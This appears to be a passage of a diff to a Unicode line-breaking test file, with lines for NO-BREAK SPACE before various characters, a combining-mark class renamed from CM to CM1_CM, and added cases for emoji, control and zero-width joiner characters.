-× 00A0 × 0308 × 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 00A0 × 0308 × 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 00A0 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] COMMA (IS) ÷ [0.3]
× 00A0 × 0020 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 00A0 × 0308 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] COMMA (IS) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 00A0 × 0308 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] COMMA (IS) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 002C ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 00A0 × 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00A0 × 0020 ÷ 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00A0 × 0308 × 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00A0 × 0308 × 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00A0 × 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00A0 × 0020 ÷ 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00A0 × 0308 × 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00A0 × 0308 × 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00A0 × 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00A0 × 0020 ÷ 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 00A0 × 0308 × 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00A0 × 0308 × 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00A0 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00A0 × 0020 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00A0 × 0308 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00A0 × 0308 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 000A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00A0 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00A0 × 0020 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00A0 × 0308 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00A0 × 0308 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 0085 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00A0 × 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00A0 × 0020 ÷ 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00A0 × 0308 × 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00A0 × 0308 × 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00A0 × 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] DIGIT ZERO (NU) ÷ [0.3]
× 00A0 × 0020 ÷ 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 00A0 × 0308 × 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] DIGIT ZERO (NU) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 00A0 × 0308 × 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] DIGIT ZERO (NU) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 00A0 × 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 00A0 × 0020 ÷ 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00A0 × 0308 × 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00A0 × 0308 × 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 00A0 × 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] PERCENT SIGN (PO) ÷ [0.3]
× 00A0 × 0020 ÷ 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00A0 × 0308 × 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 00A0 × 0308 × 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] PERCENT SIGN (PO) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 00A0 × 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] DOLLAR SIGN (PR) ÷ [0.3]
× 00A0 × 0020 ÷ 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 00A0 × 0308 × 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 00A0 × 0308 × 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 00A0 × 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] QUOTATION MARK (QU) ÷ [0.3]
× 00A0 × 0020 ÷ 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 00A0 × 0308 × 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] QUOTATION MARK (QU) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 00A0 × 0308 × 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] QUOTATION MARK (QU) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 00A0 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [0.3]
× 00A0 × 0020 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 0020 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 00A0 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] SOLIDUS (SY) ÷ [0.3]
× 00A0 × 0020 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 00A0 × 0308 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] SOLIDUS (SY) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 00A0 × 0308 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] SOLIDUS (SY) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 002F ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 00A0 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00A0 × 0020 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00A0 × 0308 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00A0 × 0308 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 2060 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00A0 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00A0 × 0020 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00A0 × 0308 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00A0 × 0308 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 200B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00A0 × 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 00A0 × 0020 ÷ 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00A0 × 0308 × 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A0 × 0308 × 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A0 × 261D ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A0 × 0020 ÷ 261D ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A0 × 0308 × 261D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 261D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A0 × 1F3FB ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A0 × 0020 ÷ 1F3FB ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A0 × 0308 × 1F3FB ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A0 × 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A0 × 0020 ÷ 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A0 × 0308 × 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A0 × 200D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A0 × 0020 ÷ 200D ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A0 × 0308 × 200D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 200D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 00A0 × 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 00A0 × 0020 ÷ 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00A0 × 0308 × 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00A0 × 0308 × 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 00A0 × 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 00A0 × 0020 ÷ 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00A0 × 0308 × 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00A0 × 0308 × 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 00A0 × 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00A0 × 0020 ÷ 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00A0 × 0308 × 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00A0 × 0308 × 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00A0 × 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00A0 × 0020 ÷ 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00A0 × 0308 × 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00A0 × 0308 × 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× AC00 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
